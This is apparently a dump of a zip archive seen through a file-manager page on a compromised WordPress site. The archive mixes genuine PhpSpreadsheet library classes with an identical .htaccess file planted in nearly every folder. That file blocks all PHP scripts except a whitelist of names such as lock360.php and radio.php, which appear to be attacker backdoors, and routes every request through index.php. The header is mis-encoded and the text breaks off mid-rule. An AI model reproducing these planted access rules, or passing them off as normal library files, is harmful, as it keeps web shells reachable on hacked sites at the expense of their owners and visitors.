���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧� - ���֧էѧܧ�ڧ��ӧѧ�� - /home/zhaagvlk/public_html/wp-includes/Requests/library/block-bindings/PhpSpreadsheet.zip
���ѧ٧ѧ�
PK 3u\9��ܤ � .htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 3u\9��ܤ � RichText/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 3u\Cve�Z Z RichText/RichText.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\RichText; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\IComparable; class RichText implements IComparable { /** * Rich text elements. * * @var ITextElement[] */ private $richTextElements; /** * Create a new RichText instance. */ public function __construct(?Cell $cell = null) { // Initialise variables $this->richTextElements = []; // Rich-Text string attached to cell? if ($cell !== null) { // Add cell text and style if ($cell->getValue() != '') { $objRun = new Run($cell->getValue()); $objRun->setFont(clone $cell->getWorksheet()->getStyle($cell->getCoordinate())->getFont()); $this->addText($objRun); } // Set parent value $cell->setValueExplicit($this, DataType::TYPE_STRING); } } /** * Add text. * * @param ITextElement $text Rich text element * * @return $this */ public function addText(ITextElement $text) { $this->richTextElements[] = $text; return $this; } /** * Create text. * * @param string $text Text * * @return TextElement */ public function createText($text) { $objText = new TextElement($text); $this->addText($objText); return $objText; } /** * Create text run. * * @param string $text Text * * @return Run */ public function createTextRun($text) { $objText = new Run($text); $this->addText($objText); return $objText; } /** * Get plain text. * * @return string */ public function getPlainText() { // Return value $returnValue = ''; // Loop through all ITextElements foreach ($this->richTextElements as $text) { $returnValue .= $text->getText(); } return $returnValue; } /** * Convert to string. * * @return string */ public function __toString() { return $this->getPlainText(); } /** * Get Rich Text elements. * * @return ITextElement[] */ public function getRichTextElements() { return $this->richTextElements; } /** * Set Rich Text elements. * * @param ITextElement[] $textElements Array of elements * * @return $this */ public function setRichTextElements(array $textElements) { $this->richTextElements = $textElements; return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode() { $hashElements = ''; foreach ($this->richTextElements as $element) { $hashElements .= $element->getHashCode(); } return md5( $hashElements . __CLASS__ ); } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { $newValue = is_object($value) ? (clone $value) : $value; if (is_array($value)) { $newValue = []; foreach ($value as $key2 => $value2) { $newValue[$key2] = is_object($value2) ? (clone $value2) : $value2; } } $this->$key = $newValue; } } } PK 3u\��Ys s RichText/TextElement.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\RichText; class TextElement implements ITextElement { /** * Text. * * @var string */ private $text; /** * Create a new TextElement instance. * * @param string $text Text */ public function __construct($text = '') { // Initialise variables $this->text = $text; } /** * Get text. * * @return string Text */ public function getText() { return $this->text; } /** * Set text. * * @param string $text Text * * @return $this */ public function setText($text) { $this->text = $text; return $this; } /** * Get font. For this class, the return value is always null. * * @return null|\PhpOffice\PhpSpreadsheet\Style\Font */ public function getFont() { return null; } /** * Get hash code. * * @return string Hash code */ public function getHashCode() { return md5( $this->text . __CLASS__ ); } } PK 3u\�\Q�4 4 RichText/ITextElement.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\RichText; interface ITextElement { /** * Get text. * * @return string Text */ public function getText(); /** * Set text. * * @param string $text Text * * @return ITextElement */ public function setText($text); /** * Get font. * * @return null|\PhpOffice\PhpSpreadsheet\Style\Font */ public function getFont(); /** * Get hash code. * * @return string Hash code */ public function getHashCode(); } PK 3u\(���n n RichText/Run.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\RichText; use PhpOffice\PhpSpreadsheet\Style\Font; class Run extends TextElement implements ITextElement { /** * Font. * * @var ?Font */ private $font; /** * Create a new Run instance. * * @param string $text Text */ public function __construct($text = '') { parent::__construct($text); // Initialise variables $this->font = new Font(); } /** * Get font. * * @return null|\PhpOffice\PhpSpreadsheet\Style\Font */ public function getFont() { return $this->font; } /** * Set font. * * @param Font $font Font * * @return $this */ public function setFont(?Font $font = null) { $this->font = $font; return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode() { return md5( $this->getText() . (($this->font === null) ? '' : $this->font->getHashCode()) . __CLASS__ ); } } PK 3u\�x�x Settings.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Chart\Renderer\IRenderer; use PhpOffice\PhpSpreadsheet\Collection\Memory; use Psr\Http\Client\ClientInterface; use Psr\Http\Message\RequestFactoryInterface; use Psr\SimpleCache\CacheInterface; use ReflectionClass; class Settings { /** * Class name of the chart renderer used for rendering charts * eg: PhpOffice\PhpSpreadsheet\Chart\Renderer\JpGraph. * * @var ?string */ private static $chartRenderer; /** * Default options for libxml loader. * * @var ?int */ private static $libXmlLoaderOptions; /** * The cache implementation to be used for cell collection. * * @var ?CacheInterface */ private static $cache; /** * The HTTP client implementation to be used for network request. * * @var null|ClientInterface */ private static $httpClient; /** * @var null|RequestFactoryInterface */ private static $requestFactory; /** * Set the locale code to use for formula translations and any special formatting. * * @param string $locale The locale code to use (e.g. "fr" or "pt_br" or "en_uk") * * @return bool Success or failure */ public static function setLocale(string $locale) { return Calculation::getInstance()->setLocale($locale); } public static function getLocale(): string { return Calculation::getInstance()->getLocale(); } /** * Identify to PhpSpreadsheet the external library to use for rendering charts. * * @param string $rendererClassName Class name of the chart renderer * eg: PhpOffice\PhpSpreadsheet\Chart\Renderer\JpGraph */ public static function setChartRenderer(string $rendererClassName): void { if (!is_a($rendererClassName, IRenderer::class, true)) { throw new Exception('Chart renderer must implement ' . IRenderer::class); } self::$chartRenderer = $rendererClassName; } /** * Return the Chart Rendering Library that PhpSpreadsheet is currently configured to use. * * @return null|string Class name of the chart renderer * eg: PhpOffice\PhpSpreadsheet\Chart\Renderer\JpGraph */ public static function getChartRenderer(): ?string { return self::$chartRenderer; } public static function htmlEntityFlags(): int { return \ENT_COMPAT; } /** * Set default options for libxml loader. * * @param ?int $options Default options for libxml loader */ public static function setLibXmlLoaderOptions($options): int { if ($options === null) { $options = defined('LIBXML_DTDLOAD') ? (LIBXML_DTDLOAD | LIBXML_DTDATTR) : 0; } self::$libXmlLoaderOptions = $options; return $options; } /** * Get default options for libxml loader. * Defaults to LIBXML_DTDLOAD | LIBXML_DTDATTR when not set explicitly. * * @return int Default options for libxml loader */ public static function getLibXmlLoaderOptions(): int { if (self::$libXmlLoaderOptions === null) { return self::setLibXmlLoaderOptions(null); } return self::$libXmlLoaderOptions; } /** * Deprecated, has no effect. * * @param bool $state * * @deprecated will be removed without replacement as it is no longer necessary on PHP 7.3.0+ * * @codeCoverageIgnore */ public static function setLibXmlDisableEntityLoader(/** @scrutinizer ignore-unused */ $state): void { // noop } /** * Deprecated, has no effect. * * @return bool $state * * @deprecated will be removed without replacement as it is no longer necessary on PHP 7.3.0+ * * @codeCoverageIgnore */ public static function getLibXmlDisableEntityLoader(): bool { return true; } /** * Sets the implementation of cache that should be used for cell collection. */ public static function setCache(?CacheInterface $cache): void { self::$cache = $cache; } /** * Gets the implementation of cache that is being used for cell collection. */ public static function getCache(): CacheInterface { if (!self::$cache) { self::$cache = self::useSimpleCacheVersion3() ? new Memory\SimpleCache3() : new Memory\SimpleCache1(); } return self::$cache; } public static function useSimpleCacheVersion3(): bool { return PHP_MAJOR_VERSION === 8 && (new ReflectionClass(CacheInterface::class))->getMethod('get')->getReturnType() !== null; } /** * Set the HTTP client implementation to be used for network request. */ public static function setHttpClient(ClientInterface $httpClient, RequestFactoryInterface $requestFactory): void { self::$httpClient = $httpClient; self::$requestFactory = $requestFactory; } /** * Unset the HTTP client configuration. */ public static function unsetHttpClient(): void { self::$httpClient = null; self::$requestFactory = null; } /** * Get the HTTP client implementation to be used for network request. */ public static function getHttpClient(): ClientInterface { if (!self::$httpClient || !self::$requestFactory) { throw new Exception('HTTP client must be configured via Settings::setHttpClient() to be able to use WEBSERVICE function.'); } return self::$httpClient; } /** * Get the HTTP request factory. */ public static function getRequestFactory(): RequestFactoryInterface { if (!self::$httpClient || !self::$requestFactory) { throw new Exception('HTTP client must be configured via Settings::setHttpClient() to be able to use WEBSERVICE function.'); } return self::$requestFactory; } } PK 3u\q�m� CellReferenceHelper.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet; use PhpOffice\PhpSpreadsheet\Cell\AddressRange; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; class CellReferenceHelper { /** * @var string */ protected $beforeCellAddress; /** * @var int */ protected $beforeColumn; /** * @var int */ protected $beforeRow; /** * @var int */ protected $numberOfColumns; /** * @var int */ protected $numberOfRows; public function __construct(string $beforeCellAddress = 'A1', int $numberOfColumns = 0, int $numberOfRows = 0) { $this->beforeCellAddress = str_replace('$', '', $beforeCellAddress); $this->numberOfColumns = $numberOfColumns; $this->numberOfRows = $numberOfRows; // Get coordinate of $beforeCellAddress [$beforeColumn, $beforeRow] = Coordinate::coordinateFromString($beforeCellAddress); $this->beforeColumn = (int) Coordinate::columnIndexFromString($beforeColumn); $this->beforeRow = (int) $beforeRow; } public function beforeCellAddress(): string { return $this->beforeCellAddress; } public function refreshRequired(string $beforeCellAddress, int $numberOfColumns, int $numberOfRows): bool { return $this->beforeCellAddress !== $beforeCellAddress || $this->numberOfColumns !== $numberOfColumns || $this->numberOfRows !== $numberOfRows; } public function updateCellReference(string $cellReference = 'A1', bool $includeAbsoluteReferences = false): string { if (Coordinate::coordinateIsRange($cellReference)) { throw new Exception('Only single cell references may be passed to this method.'); } // Get coordinate of $cellReference [$newColumn, $newRow] = Coordinate::coordinateFromString($cellReference); $newColumnIndex = (int) Coordinate::columnIndexFromString(str_replace('$', '', $newColumn)); $newRowIndex = (int) str_replace('$', '', $newRow); $absoluteColumn = $newColumn[0] === '$' ? '$' : ''; $absoluteRow = $newRow[0] === '$' ? '$' : ''; // Verify which parts should be updated if ($includeAbsoluteReferences === false) { $updateColumn = (($absoluteColumn !== '$') && $newColumnIndex >= $this->beforeColumn); $updateRow = (($absoluteRow !== '$') && $newRowIndex >= $this->beforeRow); } else { $updateColumn = ($newColumnIndex >= $this->beforeColumn); $updateRow = ($newRowIndex >= $this->beforeRow); } // Create new column reference if ($updateColumn) { $newColumn = $this->updateColumnReference($newColumnIndex, $absoluteColumn); } // Create new row reference if ($updateRow) { $newRow = $this->updateRowReference($newRowIndex, $absoluteRow); } // Return new reference return "{$newColumn}{$newRow}"; } public function cellAddressInDeleteRange(string $cellAddress): bool { [$cellColumn, $cellRow] = Coordinate::coordinateFromString($cellAddress); $cellColumnIndex = Coordinate::columnIndexFromString($cellColumn); // Is cell within the range of rows/columns if we're deleting if ( $this->numberOfRows < 0 && ($cellRow >= ($this->beforeRow + $this->numberOfRows)) && ($cellRow < $this->beforeRow) ) { return true; } elseif ( $this->numberOfColumns < 0 && ($cellColumnIndex >= ($this->beforeColumn + $this->numberOfColumns)) && ($cellColumnIndex < $this->beforeColumn) ) { return true; } return false; } protected function updateColumnReference(int $newColumnIndex, string $absoluteColumn): string { $newColumn = Coordinate::stringFromColumnIndex(min($newColumnIndex + $this->numberOfColumns, AddressRange::MAX_COLUMN_INT)); return "{$absoluteColumn}{$newColumn}"; } protected function updateRowReference(int $newRowIndex, string $absoluteRow): string { $newRow = $newRowIndex + $this->numberOfRows; $newRow = ($newRow > AddressRange::MAX_ROW) ? AddressRange::MAX_ROW : $newRow; return "{$absoluteRow}{$newRow}"; } } PK 3u\���S S Exception.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet; class Exception extends \Exception { } PK 3u\��_ HashTable.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet; /** * @template T of IComparable */ class HashTable { /** * HashTable elements. * * @var array<string, T> */ protected $items = []; /** * HashTable key map. * * @var array<int, string> */ protected $keyMap = []; /** * Create a new HashTable. * * @param T[] $source Optional source array to create HashTable from */ public function __construct($source = null) { if ($source !== null) { // Create HashTable $this->addFromSource($source); } } /** * Add HashTable items from source. * * @param T[] $source Source array to create HashTable from */ public function addFromSource(?array $source = null): void { // Check if an array was passed if ($source === null) { return; } foreach ($source as $item) { $this->add($item); } } /** * Add HashTable item. * * @param T $source Item to add */ public function add(IComparable $source): void { $hash = $source->getHashCode(); if (!isset($this->items[$hash])) { $this->items[$hash] = $source; $this->keyMap[count($this->items) - 1] = $hash; } } /** * Remove HashTable item. * * @param T $source Item to remove */ public function remove(IComparable $source): void { $hash = $source->getHashCode(); if (isset($this->items[$hash])) { unset($this->items[$hash]); $deleteKey = -1; foreach ($this->keyMap as $key => $value) { if ($deleteKey >= 0) { $this->keyMap[$key - 1] = $value; } if ($value == $hash) { $deleteKey = $key; } } unset($this->keyMap[count($this->keyMap) - 1]); } } /** * Clear HashTable. */ public function clear(): void { $this->items = []; $this->keyMap = []; } /** * Count. * * @return int */ public function count() { return count($this->items); } /** * Get index for hash code. * * @return false|int Index */ public function getIndexForHashCode(string $hashCode) { // Scrutinizer thinks the following could return string. It is wrong. return array_search($hashCode, $this->keyMap, true); } /** * Get by index. * * @return null|T */ public function getByIndex(int $index) { if (isset($this->keyMap[$index])) { return $this->getByHashCode($this->keyMap[$index]); } return null; } /** * Get by hashcode. * * @return null|T */ public function getByHashCode(string $hashCode) { if (isset($this->items[$hashCode])) { return $this->items[$hashCode]; } return null; } /** * HashTable to array. * * @return T[] */ public function toArray() { return $this->items; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { // each member of this class is an array if (is_array($value)) { $array1 = $value; foreach ($array1 as $key1 => $value1) { if (is_object($value1)) { $array1[$key1] = clone $value1; } } $this->$key = $array1; } } } } PK 3u\0�%� � DefinedName.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; abstract class DefinedName { protected const REGEXP_IDENTIFY_FORMULA = '[^_\p{N}\p{L}:, \$\'!]'; /** * Name. * * @var string */ protected $name; /** * Worksheet on which the defined name can be resolved. * * @var ?Worksheet */ protected $worksheet; /** * Value of the named object. * * @var string */ protected $value; /** * Is the defined named local? (i.e. can only be used on $this->worksheet). * * @var bool */ protected $localOnly; /** * Scope. * * @var ?Worksheet */ protected $scope; /** * Whether this is a named range or a named formula. * * @var bool */ protected $isFormula; /** * Create a new Defined Name. */ public function __construct( string $name, ?Worksheet $worksheet = null, ?string $value = null, bool $localOnly = false, ?Worksheet $scope = null ) { if ($worksheet === null) { $worksheet = $scope; } // Set local members $this->name = $name; $this->worksheet = $worksheet; $this->value = (string) $value; $this->localOnly = $localOnly; // If local only, then the scope will be set to worksheet unless a scope is explicitly set $this->scope = ($localOnly === true) ? (($scope === null) ? $worksheet : $scope) : null; // If the range string contains characters that aren't associated with the range definition (A-Z,1-9 // for cell references, and $, or the range operators (colon comma or space), quotes and ! for // worksheet names // then this is treated as a named formula, and not a named range $this->isFormula = self::testIfFormula($this->value); } /** * Create a new defined name, either a range or a formula. */ public static function createInstance( string $name, ?Worksheet $worksheet = null, ?string $value = null, bool $localOnly = false, ?Worksheet $scope = null ): self { $value = (string) $value; $isFormula = self::testIfFormula($value); if ($isFormula) { return new NamedFormula($name, $worksheet, $value, $localOnly, $scope); } return new NamedRange($name, $worksheet, $value, $localOnly, $scope); } public static function testIfFormula(string $value): bool { if (substr($value, 0, 1) === '=') { $value = substr($value, 1); } if (is_numeric($value)) { return true; } $segMatcher = false; foreach (explode("'", $value) as $subVal) { // Only test in alternate array entries (the non-quoted blocks) $segMatcher = $segMatcher === false; if ( $segMatcher && (preg_match('/' . self::REGEXP_IDENTIFY_FORMULA . '/miu', $subVal)) ) { return true; } } return false; } /** * Get name. */ public function getName(): string { return $this->name; } /** * Set name. */ public function setName(string $name): self { if (!empty($name)) { // Old title $oldTitle = $this->name; // Re-attach if ($this->worksheet !== null) { $this->worksheet->getParentOrThrow()->removeNamedRange($this->name, $this->worksheet); } $this->name = $name; if ($this->worksheet !== null) { $this->worksheet->getParentOrThrow()->addDefinedName($this); } if ($this->worksheet !== null) { // New title $newTitle = $this->name; ReferenceHelper::getInstance()->updateNamedFormulae($this->worksheet->getParentOrThrow(), $oldTitle, $newTitle); } } return $this; } /** * Get worksheet. */ public function getWorksheet(): ?Worksheet { return $this->worksheet; } /** * Set worksheet. */ public function setWorksheet(?Worksheet $worksheet): self { $this->worksheet = $worksheet; return $this; } /** * Get range or formula value. */ public function getValue(): string { return $this->value; } /** * Set range or formula value. */ public function setValue(string $value): self { $this->value = $value; return $this; } /** * Get localOnly. */ public function getLocalOnly(): bool { return $this->localOnly; } /** * Set localOnly. */ public function setLocalOnly(bool $localScope): self { $this->localOnly = $localScope; $this->scope = $localScope ? $this->worksheet : null; return $this; } /** * Get scope. */ public function getScope(): ?Worksheet { return $this->scope; } /** * Set scope. */ public function setScope(?Worksheet $worksheet): self { $this->scope = $worksheet; $this->localOnly = $worksheet !== null; return $this; } /** * Identify whether this is a named range or a named formula. */ public function isFormula(): bool { return $this->isFormula; } /** * Resolve a named range to a regular cell range or formula. */ public static function resolveName(string $definedName, Worksheet $worksheet, string $sheetName = ''): ?self { if ($sheetName === '') { $worksheet2 = $worksheet; } else { $worksheet2 = $worksheet->getParentOrThrow()->getSheetByName($sheetName); if ($worksheet2 === null) { return null; } } return $worksheet->getParentOrThrow()->getDefinedName($definedName, $worksheet2); } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if (is_object($value)) { $this->$key = clone $value; } else { $this->$key = $value; } } } } PK 3u\�IǓ � Shared/TimeZone.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared; use DateTimeZone; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; class TimeZone { /** * Default Timezone used for date/time conversions. * * @var string */ protected static $timezone = 'UTC'; /** * Validate a Timezone name. * * @param string $timezoneName Time zone (e.g. 'Europe/London') * * @return bool Success or failure */ private static function validateTimeZone(string $timezoneName): bool { return in_array($timezoneName, DateTimeZone::listIdentifiers(DateTimeZone::ALL_WITH_BC), true); } /** * Set the Default Timezone used for date/time conversions. * * @param string $timezoneName Time zone (e.g. 'Europe/London') * * @return bool Success or failure */ public static function setTimeZone(string $timezoneName): bool { if (self::validateTimeZone($timezoneName)) { self::$timezone = $timezoneName; return true; } return false; } /** * Return the Default Timezone used for date/time conversions. * * @return string Timezone (e.g. 'Europe/London') */ public static function getTimeZone(): string { return self::$timezone; } /** * Return the Timezone offset used for date/time conversions to/from UST * This requires both the timezone and the calculated date/time to allow for local DST. * * @param ?string $timezoneName The timezone for finding the adjustment to UST * @param float|int $timestamp PHP date/time value * * @return int Number of seconds for timezone adjustment */ public static function getTimeZoneAdjustment(?string $timezoneName, $timestamp): int { $timezoneName = $timezoneName ?? self::$timezone; $dtobj = Date::dateTimeFromTimestamp("$timestamp"); if (!self::validateTimeZone($timezoneName)) { throw new PhpSpreadsheetException("Invalid timezone $timezoneName"); } $dtobj->setTimeZone(new DateTimeZone($timezoneName)); return $dtobj->getOffset(); } } PK 3u\9��ܤ � Shared/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 3u\���-� � Shared/PasswordHasher.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared; use PhpOffice\PhpSpreadsheet\Exception as SpException; use PhpOffice\PhpSpreadsheet\Worksheet\Protection; class PasswordHasher { const MAX_PASSWORD_LENGTH = 255; /** * Get algorithm name for PHP. */ private static function getAlgorithm(string $algorithmName): string { if (!$algorithmName) { return ''; } // Mapping between algorithm name in Excel and algorithm name in PHP $mapping = [ Protection::ALGORITHM_MD2 => 'md2', Protection::ALGORITHM_MD4 => 'md4', Protection::ALGORITHM_MD5 => 'md5', Protection::ALGORITHM_SHA_1 => 'sha1', Protection::ALGORITHM_SHA_256 => 'sha256', Protection::ALGORITHM_SHA_384 => 'sha384', Protection::ALGORITHM_SHA_512 => 'sha512', Protection::ALGORITHM_RIPEMD_128 => 'ripemd128', Protection::ALGORITHM_RIPEMD_160 => 'ripemd160', Protection::ALGORITHM_WHIRLPOOL => 'whirlpool', ]; if (array_key_exists($algorithmName, $mapping)) { return $mapping[$algorithmName]; } throw new SpException('Unsupported password algorithm: ' . $algorithmName); } /** * Create a password hash from a given string. * * This method is based on the spec at: * https://interoperability.blob.core.windows.net/files/MS-OFFCRYPTO/[MS-OFFCRYPTO].pdf * 2.3.7.1 Binary Document Password Verifier Derivation Method 1 * * It replaces a method based on the algorithm provided by * Daniel Rentz of OpenOffice and the PEAR package * Spreadsheet_Excel_Writer by Xavier Noguer <xnoguer@rezebra.com>. * * Scrutinizer will squawk at the use of bitwise operations here, * but it should ultimately pass. * * @param string $password Password to hash */ private static function defaultHashPassword(string $password): string { $verifier = 0; $pwlen = strlen($password); $passwordArray = pack('c', $pwlen) . $password; for ($i = $pwlen; $i >= 0; --$i) { $intermediate1 = (($verifier & 0x4000) === 0) ? 0 : 1; $intermediate2 = 2 * $verifier; $intermediate2 = $intermediate2 & 0x7fff; $intermediate3 = $intermediate1 | $intermediate2; $verifier = $intermediate3 ^ ord($passwordArray[$i]); } $verifier ^= 0xCE4B; return strtoupper(dechex($verifier)); } /** * Create a password hash from a given string by a specific algorithm. * * 2.4.2.4 ISO Write Protection Method * * @see https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/1357ea58-646e-4483-92ef-95d718079d6f * * @param string $password Password to hash * @param string $algorithm Hash algorithm used to compute the password hash value * @param string $salt Pseudorandom string * @param int $spinCount Number of times to iterate on a hash of a password * * @return string Hashed password */ public static function hashPassword(string $password, string $algorithm = '', string $salt = '', int $spinCount = 10000): string { if (strlen($password) > self::MAX_PASSWORD_LENGTH) { throw new SpException('Password exceeds ' . self::MAX_PASSWORD_LENGTH . ' characters'); } $phpAlgorithm = self::getAlgorithm($algorithm); if (!$phpAlgorithm) { return self::defaultHashPassword($password); } $saltValue = base64_decode($salt); $encodedPassword = mb_convert_encoding($password, 'UCS-2LE', 'UTF-8'); $hashValue = hash($phpAlgorithm, $saltValue . /** @scrutinizer ignore-type */ $encodedPassword, true); for ($i = 0; $i < $spinCount; ++$i) { $hashValue = hash($phpAlgorithm, $hashValue . pack('L', $i), true); } return base64_encode($hashValue); } } PK 3u\9��ܤ � Shared/Escher/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 3u\�V��@ @ Shared/Escher/DgContainer.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared\Escher; use PhpOffice\PhpSpreadsheet\Exception as SpreadsheetException; class DgContainer { /** * Drawing index, 1-based. * * @var ?int */ private $dgId; /** * Last shape index in this drawing. * * @var ?int */ private $lastSpId; /** @var ?DgContainer\SpgrContainer */ private $spgrContainer; public function getDgId(): ?int { return $this->dgId; } public function setDgId(int $value): void { $this->dgId = $value; } public function getLastSpId(): ?int { return $this->lastSpId; } public function setLastSpId(int $value): void { $this->lastSpId = $value; } public function getSpgrContainer(): ?DgContainer\SpgrContainer { return $this->spgrContainer; } public function getSpgrContainerOrThrow(): DgContainer\SpgrContainer { if ($this->spgrContainer !== null) { return $this->spgrContainer; } throw new SpreadsheetException('spgrContainer is unexpectedly null'); } /** @param DgContainer\SpgrContainer $spgrContainer */ public function setSpgrContainer($spgrContainer): DgContainer\SpgrContainer { return $this->spgrContainer = $spgrContainer; } } PK 3u\9��ܤ � $ Shared/Escher/DggContainer/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 3u\p'� � . Shared/Escher/DggContainer/BstoreContainer.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer; class BstoreContainer { /** * BLIP Store Entries. Each of them holds one BLIP (Big Large Image or Picture). * * @var BstoreContainer\BSE[] */ private $BSECollection = []; /** * Add a BLIP Store Entry. */ public function addBSE(BstoreContainer\BSE $BSE): void { $this->BSECollection[] = $BSE; $BSE->setParent($this); } /** * Get the collection of BLIP Store Entries. * * @return BstoreContainer\BSE[] */ public function getBSECollection() { return $this->BSECollection; } } PK 3u\9��ܤ � 4 Shared/Escher/DggContainer/BstoreContainer/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 3u\+�\� � 7 Shared/Escher/DggContainer/BstoreContainer/BSE/Blip.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer\BSE; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer\BSE; class Blip { /** * The parent BSE. * * @var BSE */ private $parent; /** * Raw image data. * * @var string */ private $data; /** * Get the raw image data. * * @return string */ public function getData() { return $this->data; } /** * Set the raw image data. * * @param string $data */ public function setData($data): void { $this->data = $data; } /** * Set parent BSE. */ public function setParent(BSE $parent): void { $this->parent = $parent; } /** * Get parent BSE. */ public function getParent(): BSE { return $this->parent; } } PK 3u\9��ܤ � 8 Shared/Escher/DggContainer/BstoreContainer/BSE/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 3u\�[e�� � 2 Shared/Escher/DggContainer/BstoreContainer/BSE.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer; class BSE { const BLIPTYPE_ERROR = 0x00; const BLIPTYPE_UNKNOWN = 0x01; const BLIPTYPE_EMF = 0x02; const BLIPTYPE_WMF = 0x03; const BLIPTYPE_PICT = 0x04; const BLIPTYPE_JPEG = 0x05; const BLIPTYPE_PNG = 0x06; const BLIPTYPE_DIB = 0x07; const BLIPTYPE_TIFF = 0x11; const BLIPTYPE_CMYKJPEG = 0x12; /** * The parent BLIP Store Entry Container. * Property is never currently read. * * @var BstoreContainer */ private $parent; // @phpstan-ignore-line /** * The BLIP (Big Large Image or Picture). * * @var ?BSE\Blip */ private $blip; /** * The BLIP type. * * @var int */ private $blipType; /** * Set parent BLIP Store Entry Container. */ public function setParent(BstoreContainer $parent): void { $this->parent = $parent; } /** * Get the BLIP. * * @return ?BSE\Blip */ public function getBlip() { return $this->blip; } /** * Set the BLIP. */ public function setBlip(BSE\Blip $blip): void { $this->blip = $blip; $blip->setParent($this); } /** * Get the BLIP type. * * @return int */ public function getBlipType() { return $this->blipType; } /** * Set the BLIP type. * * @param int $blipType */ public function setBlipType($blipType): void { $this->blipType = $blipType; } } PK 3u\9��ܤ � # Shared/Escher/DgContainer/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule 